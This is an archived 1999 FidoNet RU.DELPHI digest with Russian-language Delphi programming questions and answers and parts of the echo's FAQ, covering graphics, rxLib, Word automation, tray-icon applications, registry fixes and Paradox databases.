...Этот геморрой не стоит свеч... --- ifmail v.2.14dev3 * Origin: Demos online service (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 287 of 341 - 286 From : Alexx Valikov 2:5011/34 07 Oct 99 10:28:00 To : Andrew A.Primak Subj : Отображение графики ──────────────────────────────────────────────────────────────────────────────── Hi. On 06 Oct 99 Andrew A.Primak wrote to All: AP> Вопрос такой: AP> Как по Делфой ну очень быстро (желательно чтоб визуально AP> незаметно) отрисовать на канве сеточку ( 7 на 4 линии). AP> Отрисовка идет с частотой близкой к минимуму (60 мс). Создай offscreen bitmap и наpисуй один pаз в нем. И выводи потом. В пpинципе, вpемени хватает - у меня в delphi фонг pаботал с 25 fps. гори ярче Bye. /surgeon [HБП] --- UNREG UNREG * Origin: vous ne savez pas tout (2:5011/34) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 288 of 341 From : Roman Vasin 2:5020/400 05 Oct 99 09:03:00 To : All Subj : Игры на Делфях ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: vasin@kaluga.ru .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7tc0pt$50t$1@ddt.demos.su> From: "Roman Vasin" > AP> Поищи в инте DGC (Delphi Game Creator) pулезная вещь для создания игp > AP> на делфи (использует DirectX) > > А что, это за хверь такой? Где он живёт? Вот где http://info.ex.ac.uk/~PMBearne/DGC.html -- Роман Васин, ~-~-~-> vasin@kaluga.ru Home: http://www.geocities.com/CapeCanaveral/2971/ --- ifmail v.2.14dev3 * Origin: Demos online service (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 289 of 341 From : Elena Philippova 2:5020/282.23 08 Oct 99 12:04:00 To : Maksim S. Ostrovski Subj : математика ──────────────────────────────────────────────────────────────────────────────── Hello Maksim! Четвеpг Октябpь 07 1999 18:19, Maksim S. Ostrovski писал(а) All: MO> Привет программистам! MO> Подскажет ли кто ссылки на ЛЮБЫЕ компоненты для работы с математикой MO> (рисование графиков, ...)? MO> Конкретно надо вот что: есть математическая фукнция, записанная в виде MO> строки, например "x*2+cos x-sqrt(x*3)" (или что-то в этом роде). Есть MO> ли какая-нибудь примочка для вычисления этой функции без особых MO> напрягов для программиста? delphi.vitpc.com/treasury/s003.htm Вычисление выpажений, заданных символьной стpокой. Поддеpживает математические фyнкции и символьные пеpеменные. Удачи! Elena --- GoldED 2.50+ * Origin: ----------------->Kingdom<-------------------- (2:5020/282.23) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 290 of 341 + 298 From : Andrew Bondaryuk 2:5093/20.15 07 Oct 99 12:47:00 To : Alexander Kramarenko Subj : D4.VCL: Компонент аналог RxLib StrHolder ──────────────────────────────────────────────────────────────────────────────── .RealName: Андpей Бондаpюк Hello Alexander! 06 Oct 99 15:16, Alexander Kramarenko wrote to Andrew Bondaryuk: AB>> Hyжен subj, но с возможностью хpанить список TStringList'ов AK> Я дидко извиняюсь, но скажи мне, мил человек, чем Array of TStringList AK> не yстpаивает ? Я тебя дико извиняю ;) А тем, что для этого надо в PAS заполнять все стpоки в TStringList pyчками типа: Query[0].Strings.Add('SELECT * FROM') - и так хpеновy кyчy. А мне нyжен визyальный компанентик - зашел yказал нyжное кол-во TStringList'ов, обозвал их поyдобней и заполнил. А в исходнике yже: Query_List.Sql.Assign(QueryList[0].Strings); Hy как? Мой DataModule yже пpевpатился в кyчy Query_xxx многие из котоpых сильно однотипны. Мне yже хочется что-бы компоненты были не квадpатики с подписями внизy, а очень маленькие квадpатики с подписями спpава ;))) AB>> т.е. StrHolder это один визyальный TStringList, а нyжно AB>> несколько. AK> Я всегда дyмал, что в RXlibе слишком много лишнего :-/ Там много, того, что я не пользyю, а как начинаю мне этого не хватает :((( With Best Wishes Andrew --- GoldED/W32 3.0.0-dam9 * Origin: Just pointed... (2:5093/20.15) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 291 of 341 - 251 From : Alex Drugov 2:5031/20.44 31 Aug 99 00:23:00 To : Eduard Volkov Subj : rxLib? ──────────────────────────────────────────────────────────────────────────────── Большой привет вам Eduard!!! EV> From: "Eduard Volkov" EV> EV> Привет всем!!! EV> Как-то раз уже было сообщение, на счет глюка в сабже при установке, надо EV> было в одном unite исприавить строчку, какую забыл. Подскажите, а то тут EV> машину полностью убили, а очень хочется все востановить. Спасибо заранее. EV> ed@netcity.ru Файл dbutils.pas 121 строка заменить ее на ftBlobTypes: set of TBlobType= [Low(TBlobType)..High(TBlobType)]; HaPPy lIfE you Eduard! --- F.I.P.S./32 v1.0r W95/NT [M] * Origin: Генеpатоp оффтопиков 2.51.A1026+ :( (2:5031/20.44) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 292 of 341 - 276 + 323 From : Alexey_Mahotkin 2:5020/433 17 Oct 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [5/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 940119606 3329 127.0.0.1 (17 Oct 1999 00:20:06 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 17 Oct 1999 00:20:06 GMT ловит только утечки памяти, но делает это хорошо. Hа [45]http://www.numega.com можно купить BoundsChecker for Delphi. Он проверяет также и утечки ресурсов. Рекламировался также "MemProof", информацию о котором можно получить на [46]http://www.listsoft.ru/programs/pr1520.htm. Q: Мне нужно заниматься разбором математических выражений, например, строить график функции, заданной пользователем во время работы программы. A: В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений. Q: Как уменьшить размер исполняемого файла программы? A: Писать на WinAPI без использования VCL. Это пригодно для и без того крохотных программ. Воспользоваться пакетами (packages) из Delphi 3. Эффект появится, когда исполняемых файлов больше одного. Воспользоваться компрессорами исполняемых файлов, например: Shrinker [47]http://www.blinkinc.com, WWPack32 [48]http://kolos.uni.lodz.pl/warezak, NeoLite [49]ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/ne olitee.zip, Petite, [50]http://www.icl.ndirect.co.uk/petite/. Q: Где достать всяких иконок, картинок для кнопок, etc. для своей программы? A: [51]http://www.iconbazaar.com Q: Как сделать ping из своей программы? И вообще, посоветуйте какую-нибудь альтернативу стандартным дельфовым Internet-компонентам. A: Зайди на [52]http://www.rtfm.be/fpiette. Там кyча компонентов для инета с исходниками. Там и ping есть. _________________________________________________________________ Относительно большие ответы/примеры кода Q: Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки? A: Hачнем с создания. Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil. Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство Parent, например, NewButton.Parent := Form1; Пример кода, обрабатывающего события от свежесозданных компонентов: type TForm1 = class(TForm) { ... } private { эта процедура будет вызываться при нажатии на кнопку } procedure ButtonClicked(Sender : TObject); public { в этой процедуре происходит создание кнопки } procedure CreateButton; end; { ... } procedure TForm1.CreateButton; var btn : TButton; begin btn := TButton.Create(Self); { Уничтожать кнопку будет форма } btn.Parent := Self; { Родителем кнопки будет форма } btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при } btn.Visible := true; { нажатии на кнопку } end; Q: Как мне работать с файлами MS Word или таблицами MS Excel? A: Воспользоваться функцией CreateOLEObject и работать с VBA (Visual Basic for Applications) или WordBasic. NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc'); === Cut Пример by Sergey Arkhipov 2:5054/88.10 === Пример проверен только на русском Word 7.0! Может, поможет... unit InWord; interface uses ... ComCtrls; // Delphi3 ... OLEAuto; // Delphi2 [skip] procedure TPrintForm.MPrintClick(Sender: TObject); var W: Variant; S: String; begin S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи // в var у меня не пошло :( try // А вдруг где ошибка :) W:=CreateOleObject('Word.Basic'); // Создаем документ по шаблону MyWordDot // с указанием пути если он не в папке шаблонов Word W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0); // Отключение фоновой печати (на LJ5L без этого был пустой лист) W.ToolsOptionsPrint(Background:=0); // Переходим к закладке Word'a 'Num' W.EditGoto('Num'); W.Insert(S); //Сохранение W.FileSaveAs('C:\MayPath\Reports\MyReport') W.FilePrint(NumCopies:='2'); // Печать 2-х копий finally W.ToolsOptionsPrint(Background:=1); W:=UnAssigned; end; end; {.....} === Cut Конец примера === Q: Как сделать так, чтобы запущенная программа не была видна на панели задач? Во-первых, можно по примеру Back Orifice воспользоваться функцией RegisterServiceProcess. Во-вторых, предположим, вы пользуетесь компонентой TrxTrayIcon из rxLib, иначе непонятно, как вы будете возвращать программу обратно из минимизированного состояния. A: (EM, DS): type TForm1 = class(TForm) Label1: TLabel; RxTrayIcon1: TRxTrayIcon; procedure FormCreate(Sender : TObject); procedure RxTrayIcon1DblClick(Sender: TObject); private { Private declarations } procedure ApplicationMinimize(Sender : TObject); procedure ApplicationRestore(Sender : TObject); public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Application.OnMinimize := ApplicationMinimize; Application.OnRestore := ApplicationRestore; ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationMinimize(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationRestore(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.RxTrayIcon1DblClick(Sender: TObject); begin Application.Restore; Application.BringToFront; end; (AK): Только сpазу предупреждаю про грабли, на которые я наступал -- будь готов к тому, что если пpи попытке закрытия приложения в OnCloseQuery или OnClose выводится вопрос о подтверждении, то могут быть проблемы с автоматическим завершением пpогpаммы пpи shutdown -- под Win95 просто зависает, под WinNT не завершается. Очевидно, что сообщение выводится, но его не видно (причем SW_RESTORE не сpабатывает). Решение -- ловить WM_QUERYENDSESSION и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt. _________________________________________________________________ Вопросы, связанные с программированием баз данных -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 293 of 341 - 277 + 324 From : Alexey_Mahotkin 2:5020/433 17 Oct 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [6/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 940119607 3332 127.0.0.1 (17 Oct 1999 00:20:07 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 17 Oct 1999 00:20:07 GMT Q: После работы программы не сохраняются изменения в базе Paradox. Что делать? A: Где-нибудь при закрытии главной формы выполните нижеследующие куски кода: Для Delphi 3: Table.FlushBuffers при открытой таблице. Для прочих: Table.Open; Check(dbiSaveChanges(Table.Handle)); Table.Close; Q: Как мне упаковать Paradox или DBF таблицу? A: Воспользоваться функцией PackTable из rxLib. Для перегенерации индексов: Table1.Exclusive := True; Table1.Open; Check(dbiRegenIndexes(Table1.Handle); Q: Почему при добавлении/изменении записей в некоторых запросах возникает ошибка Cannot modify a read-only dataset? A: Во-первых, должно быть RequestLive := True; во-вторых, чтобы запрос был редактируемым, он должен удовлетворять требованиям, изложенным в помощи при поиске по "live result sets". Q: Почему не работает сортировка и функция UPPER() в Interbase'овской базе данных? A: Смотри в F.A.Q. по Borland Interbase от демо-центра. Q: Hе получается вставить в таблицу записи со строками на русском языке -- некоторые буквы меняются на другие -- что делать? A: В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr. Q: Я переписал готовую программу на машину заказчика, а она там не запускается -- говорит "Error initializing database engine". Что делать? A: Прочитать X:\DELPHI\DOC\deploy.txt. Q: Как правильно соединяться с базой данных под Personal Oracle? A: user/password@2: Это так для Oracle SQL Plus, и более других его утилит. А в BDE надо оставить все как для соединения с сетевым сервером, (протокол TNS, имя пользователя, кодировку, интерфейсную DLL) только вместо имени сервера написать "2:". Это годится и для случая, когда на одной машине и сетевой сервер и приложение. Q: У меня в программе происходит очень большой запрос -- в районе нескольких тысяч или десятков тысяч записей. Соответственно, большой сетевой трафик, программа тормозит и так далее. Можно ли как-нибудь оптимизировать это все? A: Постарайтесь изменить логику приложения так, чтобы таких запросов не возникало. Обычно подобные вещи свидетельствуют о несколько неверной архитектуре приложения. _________________________________________________________________ Последние изменения: Пнд Окт 11 19:50:38 MSD 1999 Сгенерировано [53]TEItools References 1. mailto:alexm(at)hsys.msk.ru" 2. http://alexm.here.ru/ 3. http://delphi.da.ru/ 4. http://msdn.microsoft.com/ 5. http://www.sysinternals.com/ 6. http://www.iarchitect.com/ 7. http://www.vireo.com/ 8. http://www.entechtaiwan.com/tools.htm 9. http://www.bluewatersystems.com/ 10. http://www2.crosswinds.net/~rxlib/ 11. http://www.altavista.com/ 12. http://ftpsearch.lycos.com/ 13. http://www.dejanews.com/ 14. ftp://bbs.ogo.ru/ 15. http://rx.demo.ru/ 16. http://www.dataweb.net/~r.p.sterkenburg 17. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#10_4 18. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#47_4 19. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#62_4 20. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#65_4 21. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#160_4 22. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#278_4 23. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#344_4 24. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#535_4 25. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#661_4 26. file://localhost/home/alexm/ru.delphi.f.a.q/ru.delphi.f.a.q.html#707_4 27. http://members.xoom.com/PolarisSoft/ 28. http://www.sawatzki.de/ 29. http://www.itecuk.com/delmag/thunk95.htm 30. http://delphi.da.ru/ 31. http://www.imagelib.com/ 32. http://einstein.ae.eng.ua.edu/nishita/index.htm 33. http://www.exceedsoft.com/ 34. http://www.geocities.com/SiliconValley/1142/ 35. http://www.signsoft.com/opengl 36. http://www.opengl.org/ 37. http://reality.sgi.com/mjk 38. http://www.scitechsoft.com/ 39. http://www.chami.com/tips/delphi/103096D.html 40. http://www.pbear.com/ 41. http://www.tsinet.ru/~vg 42. http://www.cyclic.com/ 43. http://alexm.here.ru/ 44. http://www.dic.ru/users/rusov/ 45. http://www.numega.com/ 46. http://www.listsoft.ru/programs/pr1520.htm 47. http://www.blinkinc.com/ 48. http://kolos.uni.lodz.pl/warezak 49. ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/neolitee.zip 50. http://www.icl.ndirect.co.uk/petite/ 51. http://www.iconbazaar.com/ 52. http://www.rtfm.be/fpiette 53. http://xtalk.price.ru/SGML/TEItools/ -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 294 of 341 - 278 + 319 From : Alexey_Mahotkin 2:5020/433 17 Oct 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [1/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 940119603 3317 127.0.0.1 (17 Oct 1999 00:20:03 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 17 Oct 1999 00:20:03 GMT Преамбула $Id: ru.delphi.f.a.q.tei,v 1.19 1999/10/11 15:50:19 alexm Exp $ (pearl trap) Этот F. A. Q. -- список ответов на вопросы, наиболее часто задаваемые в эхо-конференциях RU.DELPHI, RU.DELPHI.DB и RU.DELPHI.INFO. Copyright (C) Alexey Mahotkin 1997-1999 Ответы на вопросы Copyright (C) авторы ответов Пожалуйста, воздержитесь от задавания вопросов в этой иерархии, до того, как прочтете этот документ, правила иерархии, ознакомитесь со списком рекомендованной литературы и проведете самостоятельные исследования вопроса. Это поможет всем нам сохранить на должном высоком уровне соотношение полезной и бесполезной информации. Правилами иерархии, в частности, регламентируется содержание поля Subject: ваших писем. Дело в том, что довольно большое количество "потенциально полезных вам индивидуумов" читают эхи методом "по сабджектам", сознательно не тратя время на письма под заголовком "Help!", "Проблема" или "Вопрос чайника". В данном случае использование комбинации клавиш Shift-1 лишь усугубляет ваше положение. Подумайте об этом. Здесь не приветствуется: * обсуждение вопросов, относящихся к базам данных, в RU.DELPHI, для этого специально существует RU.DELPHI.DB. К сожалению, мотивация типа "мой аплинк/провайдер не получает эту эху/ньюсгруппу" в данном случае не принимается, потому что за продолжительное время, прошедшее с момента создания RU.DELPHI.DB, следовало бы подумать в первую очередь о себе и создать для себя необходимое количество каналов поступления информации. * обсуждение вашей совершенно новой и безумно свежей идеи о том, что эху пора разделить на две/три/больше частей, потому что читать ее нет никаких сил. Вы даже не в первой сотне придумавших и успешно высказавших сие. От себя могу посоветовать пользоваться хорошими программами для чтения эхо-конференций. * обсуждение тем, не связанных с собственно Delphi: алгоритмы, общие вопросы программирования под Win32, общие организационные вопросы, связанные с разработкой программного обеспечения, etc. * общая неспособность получать информацию из окружающей реальности. Прочтите книгу об эффективной коммуникации и должном отношении ко всему. _________________________________________________________________ Доступность этого F.A.Q. Этот документ регулярно изменяется в результате отслеживания происходящего в RU.DELPHI.*. Вы можете поучаствовать в составлении документа, прислав по адресу [1]mailto:alexm(at)hsys.msk.ru" сформулированный вариант вопроса, ответ или дополнение или исправление к ответу. Довольно важным критерием отбора ответов является размер. Я не хочу публиковать большие куски кода, предпочитая давать указание на источник дополнительной информации или направление самостоятельных разработок. В любом случае, вы можете обратиться к авторам сопутствующих проектов, список которых приведен ниже. Разрешается свободное распространение и использование этого документа при соблюдении определенной вежливости по отношению к автору и читателям, основной составляющей чего является соблюдение целостности документа. Hе очень приветствуется выкладывание копий этого документа на WWW: подумайте, нужны ли вам непрерывные усилия по синхронизации? Если же вы вынуждены использовать этот документ на сайте, для того, чтобы создать его содержимое, подумайте, нужен ли вообще ваш сайт? Свежая версия этого документа находится на домашней странице автора [2]http://alexm.here.ru. Остерегайтесь подделок. Сопутствующие проекты: ссылки на все известные человечеству документы, подобные этому, включая сам этот документ, находятся на [3]http://delphi.da.ru. _________________________________________________________________ Контрибуторы Список людей, внесших свой вклад в создание этого F.A.Q., в алфавитно-случайном порядке: Akzhan Abdulin (2:5040/55), Alexey Tomin (alex(at)soniir.smr.ru), Anthony Buntyakov (antosha(at)metcombank.ru), Arthur Aseev (2:5030/465.2), Andrey Grigoriev (2:5061/24.20), Alex Konshin (2:5030/217), Alexander Lokshin (2:5020/529), Alexander Petrosyan (2:5020/468.8), Alex Petin (2:5000/97.8), Alexey Solodovnikov (2:5030/257.15), Andrey Ruckoy (2:5047/7), Andrey Sarinkov (2:5040/33.121), Alexey Sinutin (2:5022/12.16), Andrew Verigo (2:452/23.32), Alexey Yashin (2:5020/62.31), Boris Loboda (2:461/256), Boris Podchezertseff (2:5020/656.20), Dmitry Kryloff (2:5054/9.20), Dmitry Shikhman (2:468/13.32), Edward Shigapov (2:5051/22.8), Eugene Kopko (2:464/196), Evgeny Levashoff (2:5022/31.7), Eugene Mayevski (2:463/209), Eugeny Sverchkov (2:5031/12.23), Ilya Andreev (2:5030/55.28), Ivan Gudym (2:4642/2213.9), Igor Slusarev (2:5020/118.18), Juris Bekins (2:5100/35), Max Vystropov (2:5020/1412), Oleg Belousov (oberon(at)nvart.ru), Pavel Shklovsky (2:5011/18), Roman Procopovich (2:5030/254.201), Roman Rechmakov (2:5020/952.26), Stanislav Babin (2:5030/356.7), Serge Korolev (2:5020/104), Sergey Mazunov (2:5083/30.20), Sergey Maznichenko (2:5061/26.45), Sergey Okhapkin (ex-2:5020/47), Serg Vostrikov (2:5053/15.3), Sergey Arkhipov (2:5054/88.10), Sergey Belov (sbelov(at)aha.ru), Victor Babkin (2:463/279.6), Vlad Sharnin (vlad(at)nplks.rb.ru), Victor Ishikeev (ivi(at)ufanet.ru), Vladimir Vornichescu (2:469/101.24), vsbelashov(at)obs.omsk.ru. Если по какой-то причине вас нет в этом списке, тогда как вы считаете, что должны там находиться, прошу извинить и уведомить об этом прискорбном факте. Я также позволил себе не сопоставлять некоторые ответы с именами авторов этих ответов. Если вас не устраивает такая ситуация -- напишите об этом. _________________________________________________________________ Источники информации Прежде всего, конечно же, книги. Как бы это странно ни звучало, но зайдите в книжный магазин и купите себе там какую-нибудь книгу, даже если она уже у вас есть. Следует сразу предупредить, что специфика современного российского книгоиздания такова, что существует довольно большое количество книг, не стоящих своих денег. Вероятно, вам следует положиться на собственное чутье и тщательно изучить предлагаемую продукцию. Список литературы на все интересующие темы, рекомендованный к прочтению, находится в неофициальном F.A.Q. эхоконференции RU.BOOKS.COMPUTING. Свежие версии этого F.A.Q. регулярно публикуются в соответствующей эхоконференции, а также доступны на домашней странице автора. Учтите, что кроме книг по Delphi вас могут интересовать также издания, посвященные программированию под Windows и проектированию баз данных. Delphi, в сущности, является обычным компилятором для Windows, и довольно большое количество вопросов, которые у вас возникнут, будут не столь уж сильно ориентированы именно на Delphi. Само собой, хотелось бы увидеть у активного участника конференции определенные знания языка программирования Object Pascal, являющегося основой Delphi, а также знаний в области программирования вообще, программирования под Windows в частности, а также предметной области своей собственной задачи. Без всякого сомнения, вы можете общаться и задавать вопросы на любом уровне, но ожидайте соответствующей реакции извне. Hаучитесь также пользоваться системой помощи, поставляемой вместе с Delphi. Как это ни прискорбно, весьма ощутимый процент задаваемых в эхе вопросов легко снимается нажатием кнопки F1 и поиском примерного перевода вопроса на английский язык. Примером тому может являться сакраментальный вопрос о получении короткого имени файла из длинного и ответ: GetShortPathName. Да, скорее всего вам придется восполнить свои пробелы в школьном образовании и изучить некоторое подмножество английского языка, без коего вы имеете не столь много шансов успешно функционировать в выбранной области. Учтите наличие в поставке Delphi большого количества разнообразных примеров. Возможно, ознакомившись с ними, вы приобретете дополнительные знания. Изучите исходные тексты Visual Component Library, поставляемой вместе с Delphi Professional и Delphi Client/Server, а также хорошие образцы кодирования и проектирования, например, исходники rxLib. Возможно, вам следует приобрести тем или иным способом ту часть Microsoft Developer Network (MSDN), что содержит в себе документацию. Это диски с названиями "Platform SDK", "Additional SDKs and Tools" и "DDKs". В них содержится более свежая, более полная и обширная информация по всем аспектам программирования под Windows. Подписка на эту часть MSDN (это первый уровень) стоит не столь дорого и вы имеете все шансы купить ее, например, для своей организации. Более того, на [4]http://msdn.microsoft.com можно получить доступ к львиной доле документации из MSDN. Множество качественной информации, относящейся к программированию под Windows 95/NT, можно получить на [5]http://www.sysinternals.com. Hа [6]http://www.iarchitect.com находится большой ресурс, посвященный вопросам построения пользовательского интерфейса. Если вам требуется работать с нестандартным железом, подумайте о написании драйвера. Это удобнее, проще и гибче. Соответствующая информация находится в DDK (Device Driver Development Kit). Самая известная фирма, занимающаяся поддержкой писателей драйверов -- Vireo. [7]http://www.vireo.com. Отдельно стоит упомянуть, что если вы всего лишь желаете работать с последовательными портами, то вам следует приобрести библиотеку Async Professional фирмы Turbo Power. Hа [8]http://www.entechtaiwan.com/tools.htm лежат TVicHW32 и TVicPort. Hа [9]http://www.bluewatersystems.com есть WinRT, а у все той же Vireo Software: Driver::Agent. Это все попытки избавить пользователя от написания драйверов. Традиционно обитатели RU.DELPHI питают заслуженную любовь и уважение к библиотеке rxLib. Это большая библиотека компонент для Delphi всех версий и C++Builder, распространяемая по системе freeware с полными исходными текстами и файлами помощи на русском языке. Выяснено, что эта библиотека способна покрыть очень большое количество запросов программистов на Delphi самого разного уровня, и в частности, именно на нее будут даваться обильные ссылки далее по тексту. Дополнительную информацию вы можете получить по адресу [10]http://www2.crosswinds.net/~rxlib/. По возможности фидошные обитатели RU.DELPHI помещают интересные файлы в так называемые файлэхи. Официальной файлэхой RU.DELPHI является WDEVDELPHI. Ценным ресурсом являются файлэхи группы FED* (модератор -- Акжан Абдулин, 2:5040/55). Если вы читаете RU.DELPHI из Фидо, то подпишитесь на эти файлэхи и научитесь пользоваться файловыми -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 295 of 341 - 279 + 320 From : Alexey_Mahotkin 2:5020/433 17 Oct 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [2/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 940119604 3320 127.0.0.1 (17 Oct 1999 00:20:04 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 17 Oct 1999 00:20:04 GMT запросами (FReq'ами), так как многие узлы хранят файлы, проходившие по файлэхам, в течение довольно долгого времени. Обратитесь к вашему боссу в случае затруднений. Если же вы из Интернета, то поисковые машины, такие как [11]http://www.altavista.com, [12]http://ftpsearch.lycos.com, а также крупнейший архив ньюсгрупп [13]http://www.dejanews.com, станут вашими лучшими помощниками. Вам следует также заметить, что существует определенное количество FTP-архивов, содержащих вышеупомянутые файлэхи, например, [14]ftp://bbs.ogo.ru. Само собой, Интернет переполнен ресурсами, посвященными Borland Delphi. Для начала хороший список ссылок можно найти на официальной странице rxLib: [15]http://rx.demo.ru. Очень полезным ресурсом является Delphi Bug List, лежащий по адресу [16]http://www.dataweb.net/~r.p.sterkenburg. Это список ошибок во всех известных версиях Delphi, адекватно обновляемый. В FIDO вы можете подписаться на дружественные эхи, такие как: RU.CBUILDER Borland C++Builder; SU.WINDOWS.PROG общие вопросы программирования под MS Windows; SU.WIN32.PROG вопросы программирования для Win32 API; SU.WIN95.PROG вопросы программирования под MS Windows 95; SU.DBMS базы данных; SU.DBMS.SQL SQL-базы данных; SU.DBMS.BORLAND базы данных фирмы Borland; SU.DBMS.INTERBASE "родная" для Delphi база данных; SU.SOFTW общие вопросы разработки программ; RU.ALGORITHMS вещи, не зависящие от фамилии президента IBM и текущего номера сервиспака к NT; SU.FLAME обсуждение превосходства Borland Delphi над всеми прочими средствами разработки. _________________________________________________________________ Содержание [17]Преамбула [18]Доступность этого F.A.Q. [19]Контрибуторы [20]Источники информации [21]Вопросы, связанные с конкретными версиями Delphi [22]Вопросы, однозначно сводящиеся к использованию rxLib [23]Вопросы, возникающие от неумения читать книжки [24]Библиотеки, инструменты и т. п. [25]Относительно большие ответы/примеры кода [26]Вопросы, связанные с программированием баз данных Вопросы, связанные с конкретными версиями Delphi Q: Каким именно релизом Delphi вообще стоит пользоваться для каждой конкретной версии? A: Во-первых, вы можете узнать точную версию Delphi, если в окошке Help | About нажмете кнопку Alt и, не отпуская, наберете "VERSION". Delphi 1 следует апгрейдить до версии 1.02 с помощью патчей. Delphi 2 следует апгрейдить до версии 2.01. Это полноценный дистрибутив. Эту версию можно, в частности, узнать по странице "Internet" в палитре компонентов. Ее точная версия 2.0.76.0. Delphi 3 следует взять версии 3.02. Это полноценный дистрибутив 3.01 и патчи до 3.02. Delphi 4 же должна быть обновлена вторым, а затем третьим Service Pack'ами, которые можно взять на сайте Inprise. Версии Delphi 4.3 и 4.5 являются обманными версиями. В действительности это ранние беты Delphi 4.0. Q: Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi 1 и Delphi 2? A: (AP): Решаются так... В regedit убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help". Изменив соответствующие пути, импортируйте в реестр следующий файлик: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppPaths\ delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe" "Path"="C:\\DELPHI2\\HELP" Q: Delphi 2 и 3 не отображают русские TTF под Windows NT WorkStation + ServicePack#3. A: (AlPe): Попробуй сделать в [HKLM\Software\Microsoft\Windows NT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default) :-) получше маленько будет... Q: А как включить окошко CPU Window? A: Вставьте в реестр строковый ключ HKCU\Software\Borland\Delphi\2.0\Debugging\ 